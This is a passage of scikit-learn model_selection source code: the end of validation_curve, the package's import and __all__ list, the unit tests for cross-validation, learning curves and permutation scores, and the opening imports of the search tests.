    param_name : string
        Name of the parameter that will be varied.

    param_range : array-like, shape (n_values,)
        The values of the parameter that will be evaluated.

    labels : array-like, with shape (n_samples,), optional
        Group labels for the samples used while splitting the dataset into
        train/test set.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:
          - None, to use the default 3-fold cross validation,
          - integer, to specify the number of folds in a `(Stratified)KFold`,
          - An object to be used as a cross-validation generator.
          - An iterable yielding train, test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, :class:`StratifiedKFold` is used. In all
        other cases, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    n_jobs : integer, optional
        Number of jobs to run in parallel (default 1).

    pre_dispatch : integer or string, optional
        Number of predispatched jobs for parallel execution (default is
        all). The option can reduce the allocated memory. The string can
        be an expression like '2*n_jobs'.

    verbose : integer, optional
        Controls the verbosity: the higher, the more messages.

    Returns
    -------
    train_scores : array, shape (n_ticks, n_cv_folds)
        Scores on training sets.

    test_scores : array, shape (n_ticks, n_cv_folds)
        Scores on test set.

    Notes
    -----
    See :ref:`sphx_glr_auto_examples_model_selection_plot_validation_curve.py`

    """
    X, y, labels = indexable(X, y, labels)

    cv = check_cv(cv, y, classifier=is_classifier(estimator))

    scorer = check_scoring(estimator, scoring=scoring)

    parallel = Parallel(n_jobs=n_jobs, pre_dispatch=pre_dispatch,
                        verbose=verbose)
    out = parallel(delayed(_fit_and_score)(
        estimator, X, y, scorer, train, test, verbose,
        parameters={param_name: v}, fit_params=None, return_train_score=True)
        for train, test in cv.split(X, y, labels) for v in param_range)

    out = np.asarray(out)[:, :2]
    n_params = len(param_range)
    n_cv_folds = out.shape[0] // n_params
    out = out.reshape(n_cv_folds, n_params, 2).transpose((2, 1, 0))

    return out[0], out[1]






from ._split import BaseCrossValidator
from ._split import KFold
from ._split import LabelKFold
from ._split import StratifiedKFold
from ._split import LeaveOneLabelOut
from ._split import LeaveOneOut
from ._split import LeavePLabelOut
from ._split import LeavePOut
from ._split import ShuffleSplit
from ._split import LabelShuffleSplit
from ._split import StratifiedShuffleSplit
from ._split import PredefinedSplit
from ._split import train_test_split
from ._split import check_cv

from ._validation import cross_val_score
from ._validation import cross_val_predict
from ._validation import learning_curve
from ._validation import permutation_test_score
from ._validation import validation_curve

from ._search import GridSearchCV
from ._search import RandomizedSearchCV
from ._search import ParameterGrid
from ._search import ParameterSampler
from ._search import fit_grid_point

__all__ = ('BaseCrossValidator',
           'GridSearchCV',
           'KFold',
           'LabelKFold',
           'LabelShuffleSplit',
           'LeaveOneLabelOut',
           'LeaveOneOut',
           'LeavePLabelOut',
           'LeavePOut',
           'ParameterGrid',
           'ParameterSampler',
           'PredefinedSplit',
           'RandomizedSearchCV',
           'ShuffleSplit',
           'StratifiedKFold',
           'StratifiedShuffleSplit',
           'check_cv',
           'cross_val_predict',
           'cross_val_score',
           'fit_grid_point',
           'learning_curve',
           'permutation_test_score',
           'train_test_split',
           'validation_curve')












"""Test the validation module"""
from __future__ import division

import sys
import warnings
import tempfile
import os
from time import sleep

import numpy as np
from scipy.sparse import coo_matrix, csr_matrix

from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_warns
from sklearn.utils.mocking import CheckingClassifier, MockDataFrame

from sklearn.model_selection import cross_val_score
from sklearn.model_selection import cross_val_predict
from sklearn.model_selection import permutation_test_score
from sklearn.model_selection import KFold
from sklearn.model_selection import StratifiedKFold
from sklearn.model_selection import LeaveOneOut
from sklearn.model_selection import LeaveOneLabelOut
from sklearn.model_selection import LeavePLabelOut
from sklearn.model_selection import LabelKFold
from sklearn.model_selection import LabelShuffleSplit
from sklearn.model_selection import learning_curve
from sklearn.model_selection import validation_curve
from sklearn.model_selection._validation import _check_is_permutation

from sklearn.datasets import make_regression
from sklearn.datasets import load_boston
from sklearn.datasets import load_iris
from sklearn.metrics import explained_variance_score
from sklearn.metrics import make_scorer
from sklearn.metrics import precision_score

from sklearn.linear_model import Ridge, LogisticRegression
from sklearn.linear_model import PassiveAggressiveClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.cluster import KMeans

from sklearn.preprocessing import Imputer
from sklearn.pipeline import Pipeline

from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.base import BaseEstimator
from sklearn.multiclass import OneVsRestClassifier
from sklearn.utils import shuffle
from sklearn.datasets import make_classification
from sklearn.datasets import make_multilabel_classification

from sklearn.model_selection.tests.test_split import MockClassifier


try:
    WindowsError
except NameError:
    WindowsError = None


class MockImprovingEstimator(BaseEstimator):
    """Dummy classifier to test the learning curve"""
    def __init__(self, n_max_train_sizes):
        self.n_max_train_sizes = n_max_train_sizes
        self.train_sizes = 0
        self.X_subset = None

    def fit(self, X_subset, y_subset=None):
        self.X_subset = X_subset
        self.train_sizes = X_subset.shape[0]
        return self

    def predict(self, X):
        raise NotImplementedError

    def score(self, X=None, Y=None):
        # training score becomes worse (2 -> 1), test error better (0 -> 1)
        if self._is_training_data(X):
            return 2. - float(self.train_sizes) / self.n_max_train_sizes
        else:
            return float(self.train_sizes) / self.n_max_train_sizes

    def _is_training_data(self, X):
        return X is self.X_subset


class MockIncrementalImprovingEstimator(MockImprovingEstimator):
    """Dummy classifier that provides partial_fit"""
    def __init__(self, n_max_train_sizes):
        super(MockIncrementalImprovingEstimator,
              self).__init__(n_max_train_sizes)
        self.x = None

    def _is_training_data(self, X):
        return self.x in X

    def partial_fit(self, X, y=None, **params):
        self.train_sizes += X.shape[0]
        self.x = X[0]


class MockEstimatorWithParameter(BaseEstimator):
    """Dummy classifier to test the validation curve"""
    def __init__(self, param=0.5):
        self.X_subset = None
        self.param = param

    def fit(self, X_subset, y_subset):
        self.X_subset = X_subset
        self.train_sizes = X_subset.shape[0]
        return self

    def predict(self, X):
        raise NotImplementedError

    def score(self, X=None, y=None):
        return self.param if self._is_training_data(X) else 1 - self.param

    def _is_training_data(self, X):
        return X is self.X_subset


# XXX: use 2D array, since 1D X is being detected as a single sample in
# check_consistent_length
X = np.ones((10, 2))
X_sparse = coo_matrix(X)
y = np.array([0, 0, 1, 1, 2, 2, 3, 3, 4, 4])
# The number of samples per class needs to be > n_splits,
# for StratifiedKFold(n_splits=3)
y2 = np.array([1, 1, 1, 2, 2, 2, 3, 3, 3, 3])


def test_cross_val_score():
    clf = MockClassifier()

    for a in range(-10, 10):
        clf.a = a
        # Smoke test
        scores = cross_val_score(clf, X, y2)
        assert_array_equal(scores, clf.score(X, y2))

        # test with multioutput y
        multioutput_y = np.column_stack([y2, y2[::-1]])
        scores = cross_val_score(clf, X_sparse, multioutput_y)
        assert_array_equal(scores, clf.score(X_sparse, multioutput_y))

        scores = cross_val_score(clf, X_sparse, y2)
        assert_array_equal(scores, clf.score(X_sparse, y2))

        # test with multioutput y
        scores = cross_val_score(clf, X_sparse, multioutput_y)
        assert_array_equal(scores, clf.score(X_sparse, multioutput_y))

    # test with X and y as list
    list_check = lambda x: isinstance(x, list)
    clf = CheckingClassifier(check_X=list_check)
    scores = cross_val_score(clf, X.tolist(), y2.tolist())

    clf = CheckingClassifier(check_y=list_check)
    scores = cross_val_score(clf, X, y2.tolist())

    assert_raises(ValueError, cross_val_score, clf, X, y2, scoring="sklearn")

    # test with 3d X and
    X_3d = X[:, :, np.newaxis]
    clf = MockClassifier(allow_nd=True)
    scores = cross_val_score(clf, X_3d, y2)

    clf = MockClassifier(allow_nd=False)
    assert_raises(ValueError, cross_val_score, clf, X_3d, y2)


def test_cross_val_score_predict_labels():
    # Check if ValueError (when labels is None) propagates to cross_val_score
    # and cross_val_predict
    # And also check if labels is correctly passed to the cv object
    X, y = make_classification(n_samples=20, n_classes=2, random_state=0)

    clf = SVC(kernel="linear")

    label_cvs = [LeaveOneLabelOut(), LeavePLabelOut(2), LabelKFold(),
                 LabelShuffleSplit()]
    for cv in label_cvs:
        assert_raise_message(ValueError,
                             "The labels parameter should not be None",
                             cross_val_score, estimator=clf, X=X, y=y, cv=cv)
        assert_raise_message(ValueError,
                             "The labels parameter should not be None",
                             cross_val_predict, estimator=clf, X=X, y=y, cv=cv)


def test_cross_val_score_pandas():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((Series, DataFrame))
    except ImportError:
        pass
    for TargetType, InputFeatureType in types:
        # X dataframe, y series
        # 3 fold cross val is used so we need atleast 3 samples per class
        X_df, y_ser = InputFeatureType(X), TargetType(y2)
        check_df = lambda x: isinstance(x, InputFeatureType)
        check_series = lambda x: isinstance(x, TargetType)
        clf = CheckingClassifier(check_X=check_df, check_y=check_series)
        cross_val_score(clf, X_df, y_ser)


def test_cross_val_score_mask():
    # test that cross_val_score works with boolean masks
    svm = SVC(kernel="linear")
    iris = load_iris()
    X, y = iris.data, iris.target
    kfold = KFold(5)
    scores_indices = cross_val_score(svm, X, y, cv=kfold)
    kfold = KFold(5)
    cv_masks = []
    for train, test in kfold.split(X, y):
        mask_train = np.zeros(len(y), dtype=np.bool)
        mask_test = np.zeros(len(y), dtype=np.bool)
        mask_train[train] = 1
        mask_test[test] = 1
        cv_masks.append((train, test))
    scores_masks = cross_val_score(svm, X, y, cv=cv_masks)
    assert_array_equal(scores_indices, scores_masks)


def test_cross_val_score_precomputed():
    # test for svm with precomputed kernel
    svm = SVC(kernel="precomputed")
    iris = load_iris()
    X, y = iris.data, iris.target
    linear_kernel = np.dot(X, X.T)
    score_precomputed = cross_val_score(svm, linear_kernel, y)
    svm = SVC(kernel="linear")
    score_linear = cross_val_score(svm, X, y)
    assert_array_equal(score_precomputed, score_linear)

    # Error raised for non-square X
    svm = SVC(kernel="precomputed")
    assert_raises(ValueError, cross_val_score, svm, X, y)

    # test error is raised when the precomputed kernel is not array-like
    # or sparse
    assert_raises(ValueError, cross_val_score, svm,
                  linear_kernel.tolist(), y)


def test_cross_val_score_fit_params():
    clf = MockClassifier()
    n_samples = X.shape[0]
    n_classes = len(np.unique(y))

    W_sparse = coo_matrix((np.array([1]), (np.array([1]), np.array([0]))),
                          shape=(10, 1))
    P_sparse = coo_matrix(np.eye(5))

    DUMMY_INT = 42
    DUMMY_STR = '42'
    DUMMY_OBJ = object()

    def assert_fit_params(clf):
        # Function to test that the values are passed correctly to the
        # classifier arguments for non-array type

        assert_equal(clf.dummy_int, DUMMY_INT)
        assert_equal(clf.dummy_str, DUMMY_STR)
        assert_equal(clf.dummy_obj, DUMMY_OBJ)

    fit_params = {'sample_weight': np.ones(n_samples),
                  'class_prior': np.ones(n_classes) / n_classes,
                  'sparse_sample_weight': W_sparse,
                  'sparse_param': P_sparse,
                  'dummy_int': DUMMY_INT,
                  'dummy_str': DUMMY_STR,
                  'dummy_obj': DUMMY_OBJ,
                  'callback': assert_fit_params}
    cross_val_score(clf, X, y, fit_params=fit_params)


def test_cross_val_score_score_func():
    clf = MockClassifier()
    _score_func_args = []

    def score_func(y_test, y_predict):
        _score_func_args.append((y_test, y_predict))
        return 1.0

    with warnings.catch_warnings(record=True):
        scoring = make_scorer(score_func)
        score = cross_val_score(clf, X, y, scoring=scoring)
    assert_array_equal(score, [1.0, 1.0, 1.0])
    assert len(_score_func_args) == 3


def test_cross_val_score_errors():
    class BrokenEstimator:
        pass

    assert_raises(TypeError, cross_val_score, BrokenEstimator(), X)


def test_cross_val_score_with_score_func_classification():
    iris = load_iris()
    clf = SVC(kernel='linear')

    # Default score (should be the accuracy score)
    scores = cross_val_score(clf, iris.data, iris.target, cv=5)
    assert_array_almost_equal(scores, [0.97, 1., 0.97, 0.97, 1.], 2)

    # Correct classification score (aka. zero / one score) - should be the
    # same as the default estimator score
    zo_scores = cross_val_score(clf, iris.data, iris.target,
                                scoring="accuracy", cv=5)
    assert_array_almost_equal(zo_scores, [0.97, 1., 0.97, 0.97, 1.], 2)

    # F1 score (class are balanced so f1_score should be equal to zero/one
    # score
    f1_scores = cross_val_score(clf, iris.data, iris.target,
                                scoring="f1_weighted", cv=5)
    assert_array_almost_equal(f1_scores, [0.97, 1., 0.97, 0.97, 1.], 2)


def test_cross_val_score_with_score_func_regression():
    X, y = make_regression(n_samples=30, n_features=20, n_informative=5,
                           random_state=0)
    reg = Ridge()

    # Default score of the Ridge regression estimator
    scores = cross_val_score(reg, X, y, cv=5)
    assert_array_almost_equal(scores, [0.94, 0.97, 0.97, 0.99, 0.92], 2)

    # R2 score (aka. determination coefficient) - should be the
    # same as the default estimator score
    r2_scores = cross_val_score(reg, X, y, scoring="r2", cv=5)
    assert_array_almost_equal(r2_scores, [0.94, 0.97, 0.97, 0.99, 0.92], 2)

    # Mean squared error; this is a loss function, so "scores" are negative
    mse_scores = cross_val_score(reg, X, y, cv=5, scoring="mean_squared_error")
    expected_mse = np.array([-763.07, -553.16, -274.38, -273.26, -1681.99])
    assert_array_almost_equal(mse_scores, expected_mse, 2)

    # Explained variance
    scoring = make_scorer(explained_variance_score)
    ev_scores = cross_val_score(reg, X, y, cv=5, scoring=scoring)
    assert_array_almost_equal(ev_scores, [0.94, 0.97, 0.97, 0.99, 0.92], 2)


def test_permutation_score():
    iris = load_iris()
    X = iris.data
    X_sparse = coo_matrix(X)
    y = iris.target
    svm = SVC(kernel='linear')
    cv = StratifiedKFold(2)

    score, scores, pvalue = permutation_test_score(
        svm, X, y, n_permutations=30, cv=cv, scoring="accuracy")
    assert_greater(score, 0.9)
    assert_almost_equal(pvalue, 0.0, 1)

    score_label, _, pvalue_label = permutation_test_score(
        svm, X, y, n_permutations=30, cv=cv, scoring="accuracy",
        labels=np.ones(y.size), random_state=0)
    assert_true(score_label == score)
    assert_true(pvalue_label == pvalue)

    # check that we obtain the same results with a sparse representation
    svm_sparse = SVC(kernel='linear')
    cv_sparse = StratifiedKFold(2)
    score_label, _, pvalue_label = permutation_test_score(
        svm_sparse, X_sparse, y, n_permutations=30, cv=cv_sparse,
        scoring="accuracy", labels=np.ones(y.size), random_state=0)

    assert_true(score_label == score)
    assert_true(pvalue_label == pvalue)

    # test with custom scoring object
    def custom_score(y_true, y_pred):
        return (((y_true == y_pred).sum() - (y_true != y_pred).sum()) /
                y_true.shape[0])

    scorer = make_scorer(custom_score)
    score, _, pvalue = permutation_test_score(
        svm, X, y, n_permutations=100, scoring=scorer, cv=cv, random_state=0)
    assert_almost_equal(score, .93, 2)
    assert_almost_equal(pvalue, 0.01, 3)

    # set random y
    y = np.mod(np.arange(len(y)), 3)

    score, scores, pvalue = permutation_test_score(
        svm, X, y, n_permutations=30, cv=cv, scoring="accuracy")

    assert_less(score, 0.5)
    assert_greater(pvalue, 0.2)


def test_permutation_test_score_allow_nans():
    # Check that permutation_test_score allows input data with NaNs
    X = np.arange(200, dtype=np.float64).reshape(10, -1)
    X[2, :] = np.nan
    y = np.repeat([0, 1], X.shape[0] / 2)
    p = Pipeline([
        ('imputer', Imputer(strategy='mean', missing_values='NaN')),
        ('classifier', MockClassifier()),
    ])
    permutation_test_score(p, X, y, cv=5)


def test_cross_val_score_allow_nans():
    # Check that cross_val_score allows input data with NaNs
    X = np.arange(200, dtype=np.float64).reshape(10, -1)
    X[2, :] = np.nan
    y = np.repeat([0, 1], X.shape[0] / 2)
    p = Pipeline([
        ('imputer', Imputer(strategy='mean', missing_values='NaN')),
        ('classifier', MockClassifier()),
    ])
    cross_val_score(p, X, y, cv=5)


def test_cross_val_score_multilabel():
    X = np.array([[-3, 4], [2, 4], [3, 3], [0, 2], [-3, 1],
                  [-2, 1], [0, 0], [-2, -1], [-1, -2], [1, -2]])
    y = np.array([[1, 1], [0, 1], [0, 1], [0, 1], [1, 1],
                  [0, 1], [1, 0], [1, 1], [1, 0], [0, 0]])
    clf = KNeighborsClassifier(n_neighbors=1)
    scoring_micro = make_scorer(precision_score, average='micro')
    scoring_macro = make_scorer(precision_score, average='macro')
    scoring_samples = make_scorer(precision_score, average='samples')
    score_micro = cross_val_score(clf, X, y, scoring=scoring_micro, cv=5)
    score_macro = cross_val_score(clf, X, y, scoring=scoring_macro, cv=5)
    score_samples = cross_val_score(clf, X, y, scoring=scoring_samples, cv=5)
    assert_almost_equal(score_micro, [1, 1 / 2, 3 / 4, 1 / 2, 1 / 3])
    assert_almost_equal(score_macro, [1, 1 / 2, 3 / 4, 1 / 2, 1 / 4])
    assert_almost_equal(score_samples, [1, 1 / 2, 3 / 4, 1 / 2, 1 / 4])


def test_cross_val_predict():
    boston = load_boston()
    X, y = boston.data, boston.target
    cv = KFold()

    est = Ridge()

    # Naive loop (should be same as cross_val_predict):
    preds2 = np.zeros_like(y)
    for train, test in cv.split(X, y):
        est.fit(X[train], y[train])
        preds2[test] = est.predict(X[test])

    preds = cross_val_predict(est, X, y, cv=cv)
    assert_array_almost_equal(preds, preds2)

    preds = cross_val_predict(est, X, y)
    assert_equal(len(preds), len(y))

    cv = LeaveOneOut()
    preds = cross_val_predict(est, X, y, cv=cv)
    assert_equal(len(preds), len(y))

    Xsp = X.copy()
    Xsp *= (Xsp > np.median(Xsp))
    Xsp = coo_matrix(Xsp)
    preds = cross_val_predict(est, Xsp, y)
    assert_array_almost_equal(len(preds), len(y))

    preds = cross_val_predict(KMeans(), X)
    assert_equal(len(preds), len(y))

    class BadCV():
        def split(self, X, y=None, labels=None):
            for i in range(4):
                yield np.array([0, 1, 2, 3]), np.array([4, 5, 6, 7, 8])

    assert_raises(ValueError, cross_val_predict, est, X, y, cv=BadCV())


def test_cross_val_predict_input_types():
    iris = load_iris()
    X, y = iris.data, iris.target
    X_sparse = coo_matrix(X)
    multioutput_y = np.column_stack([y, y[::-1]])

    clf = Ridge(fit_intercept=False, random_state=0)
    # 3 fold cv is used --> atleast 3 samples per class
    # Smoke test
    predictions = cross_val_predict(clf, X, y)
    assert_equal(predictions.shape, (150,))

    # test with multioutput y
    predictions = cross_val_predict(clf, X_sparse, multioutput_y)
    assert_equal(predictions.shape, (150, 2))

    predictions = cross_val_predict(clf, X_sparse, y)
    assert_array_equal(predictions.shape, (150,))

    # test with multioutput y
    predictions = cross_val_predict(clf, X_sparse, multioutput_y)
    assert_array_equal(predictions.shape, (150, 2))

    # test with X and y as list
    list_check = lambda x: isinstance(x, list)
    clf = CheckingClassifier(check_X=list_check)
    predictions = cross_val_predict(clf, X.tolist(), y.tolist())

    clf = CheckingClassifier(check_y=list_check)
    predictions = cross_val_predict(clf, X, y.tolist())

    # test with 3d X and
    X_3d = X[:, :, np.newaxis]
    check_3d = lambda x: x.ndim == 3
    clf = CheckingClassifier(check_X=check_3d)
    predictions = cross_val_predict(clf, X_3d, y)
    assert_array_equal(predictions.shape, (150,))


def test_cross_val_predict_pandas():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((Series, DataFrame))
    except ImportError:
        pass
    for TargetType, InputFeatureType in types:
        # X dataframe, y series
        X_df, y_ser = InputFeatureType(X), TargetType(y2)
        check_df = lambda x: isinstance(x, InputFeatureType)
        check_series = lambda x: isinstance(x, TargetType)
        clf = CheckingClassifier(check_X=check_df, check_y=check_series)
        cross_val_predict(clf, X_df, y_ser)


def test_cross_val_score_sparse_fit_params():
    iris = load_iris()
    X, y = iris.data, iris.target
    clf = MockClassifier()
    fit_params = {'sparse_sample_weight': coo_matrix(np.eye(X.shape[0]))}
    a = cross_val_score(clf, X, y, fit_params=fit_params)
    assert_array_equal(a, np.ones(3))


def test_learning_curve():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    with warnings.catch_warnings(record=True) as w:
        train_sizes, train_scores, test_scores = learning_curve(
            estimator, X, y, cv=3, train_sizes=np.linspace(0.1, 1.0, 10))
    if len(w) > 0:
        raise RuntimeError("Unexpected warning: %r" % w[0].message)
    assert_equal(train_scores.shape, (10, 3))
    assert_equal(test_scores.shape, (10, 3))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_unsupervised():
    X, _ = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y=None, cv=3, train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_verbose():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)

    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        train_sizes, train_scores, test_scores = \
            learning_curve(estimator, X, y, cv=3, verbose=1)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout

    assert("[learning_curve]" in out)


def test_learning_curve_incremental_learning_not_possible():
    X, y = make_classification(n_samples=2, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    # The mockup does not have partial_fit()
    estimator = MockImprovingEstimator(1)
    assert_raises(ValueError, learning_curve, estimator, X, y,
                  exploit_incremental_learning=True)


def test_learning_curve_incremental_learning():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockIncrementalImprovingEstimator(20)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y, cv=3, exploit_incremental_learning=True,
        train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_incremental_learning_unsupervised():
    X, _ = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockIncrementalImprovingEstimator(20)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y=None, cv=3, exploit_incremental_learning=True,
        train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_learning_curve_batch_and_incremental_learning_are_equal():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    train_sizes = np.linspace(0.2, 1.0, 5)
    estimator = PassiveAggressiveClassifier(n_iter=1, shuffle=False)

    train_sizes_inc, train_scores_inc, test_scores_inc = \
        learning_curve(
            estimator, X, y, train_sizes=train_sizes,
            cv=3, exploit_incremental_learning=True)
    train_sizes_batch, train_scores_batch, test_scores_batch = \
        learning_curve(
            estimator, X, y, cv=3, train_sizes=train_sizes,
            exploit_incremental_learning=False)

    assert_array_equal(train_sizes_inc, train_sizes_batch)
    assert_array_almost_equal(train_scores_inc.mean(axis=1),
                              train_scores_batch.mean(axis=1))
    assert_array_almost_equal(test_scores_inc.mean(axis=1),
                              test_scores_batch.mean(axis=1))


def test_learning_curve_n_sample_range_out_of_bounds():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0, 1])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0.0, 1.0])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0.1, 1.1])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[0, 20])
    assert_raises(ValueError, learning_curve, estimator, X, y, cv=3,
                  train_sizes=[1, 21])


def test_learning_curve_remove_duplicate_sample_sizes():
    X, y = make_classification(n_samples=3, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(2)
    train_sizes, _, _ = assert_warns(
        RuntimeWarning, learning_curve, estimator, X, y, cv=3,
        train_sizes=np.linspace(0.33, 1.0, 3))
    assert_array_equal(train_sizes, [1, 2])


def test_learning_curve_with_boolean_indices():
    X, y = make_classification(n_samples=30, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    estimator = MockImprovingEstimator(20)
    cv = KFold(n_splits=3)
    train_sizes, train_scores, test_scores = learning_curve(
        estimator, X, y, cv=cv, train_sizes=np.linspace(0.1, 1.0, 10))
    assert_array_equal(train_sizes, np.linspace(2, 20, 10))
    assert_array_almost_equal(train_scores.mean(axis=1),
                              np.linspace(1.9, 1.0, 10))
    assert_array_almost_equal(test_scores.mean(axis=1),
                              np.linspace(0.1, 1.0, 10))


def test_validation_curve():
    X, y = make_classification(n_samples=2, n_features=1, n_informative=1,
                               n_redundant=0, n_classes=2,
                               n_clusters_per_class=1, random_state=0)
    param_range = np.linspace(0, 1, 10)
    with warnings.catch_warnings(record=True) as w:
        train_scores, test_scores = validation_curve(
            MockEstimatorWithParameter(), X, y, param_name="param",
            param_range=param_range, cv=2
        )
    if len(w) > 0:
        raise RuntimeError("Unexpected warning: %r" % w[0].message)

    assert_array_almost_equal(train_scores.mean(axis=1), param_range)
    assert_array_almost_equal(test_scores.mean(axis=1), 1 - param_range)


def test_check_is_permutation():
    p = np.arange(100)
    assert_true(_check_is_permutation(p, 100))
    assert_false(_check_is_permutation(np.delete(p, 23), 100))

    p[0] = 23
    assert_false(_check_is_permutation(p, 100))


def test_cross_val_predict_sparse_prediction():
    # check that cross_val_predict gives same result for sparse and dense input
    X, y = make_multilabel_classification(n_classes=2, n_labels=1,
                                          allow_unlabeled=False,
                                          return_indicator=True,
                                          random_state=1)
    X_sparse = csr_matrix(X)
    y_sparse = csr_matrix(y)
    classif = OneVsRestClassifier(SVC(kernel='linear'))
    preds = cross_val_predict(classif, X, y, cv=10)
    preds_sparse = cross_val_predict(classif, X_sparse, y_sparse, cv=10)
    preds_sparse = preds_sparse.toarray()
    assert_array_almost_equal(preds_sparse, preds)


def test_cross_val_predict_with_method():
    iris = load_iris()
    X, y = iris.data, iris.target
    X, y = shuffle(X, y, random_state=0)
    classes = len(set(y))

    kfold = KFold(len(iris.target))

    methods = ['decision_function', 'predict_proba', 'predict_log_proba']
    for method in methods:
        est = LogisticRegression()

        predictions = cross_val_predict(est, X, y, method=method)
        assert_equal(len(predictions), len(y))

        expected_predictions = np.zeros([len(y), classes])
        func = getattr(est, method)

        # Naive loop (should be same as cross_val_predict):
        for train, test in kfold.split(X, y):
            est.fit(X[train], y[train])
            expected_predictions[test] = func(X[test])

        predictions = cross_val_predict(est, X, y, method=method,
                                        cv=kfold)
        assert_array_almost_equal(expected_predictions, predictions)


def test_score_memmap():
    # Ensure a scalar score of memmap type is accepted
    iris = load_iris()
    X, y = iris.data, iris.target
    clf = MockClassifier()
    tf = tempfile.NamedTemporaryFile(mode='wb', delete=False)
    tf.write(b'Hello world!!!!!')
    tf.close()
    scores = np.memmap(tf.name, dtype=np.float64)
    score = np.memmap(tf.name, shape=(), mode='r', dtype=np.float64)
    try:
        cross_val_score(clf, X, y, scoring=lambda est, X, y: score)
        # non-scalar should still fail
        assert_raises(ValueError, cross_val_score, clf, X, y,
                      scoring=lambda est, X, y: scores)
    finally:
        # Best effort to release the mmap file handles before deleting the
        # backing file under Windows
        scores, score = None, None
        for _ in range(3):
            try:
                os.unlink(tf.name)
                break
            except WindowsError:
                sleep(1.)






"""Test the search module"""

from collections import Iterable, Sized
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.externals.six.moves import xrange
from itertools import chain, product
import pickle
import sys

import numpy as np
import scipy.sparse as sp

from sklearn.utils.fixes import in1d
from sklearn.utils.fixes import sp_version
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_false, assert_true
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.mocking import CheckingClassifier, MockDataFrame

from scipy.stats import bernoulli, expon, uniform

from sklearn.externals.six.moves import zip
from sklearn.base import BaseEstimator
from sklearn.datasets import make_classification
from sklearn.datasets import make_blobs
from sklearn.datasets import make_multilabel_classification

from sklearn.model_selection import KFold
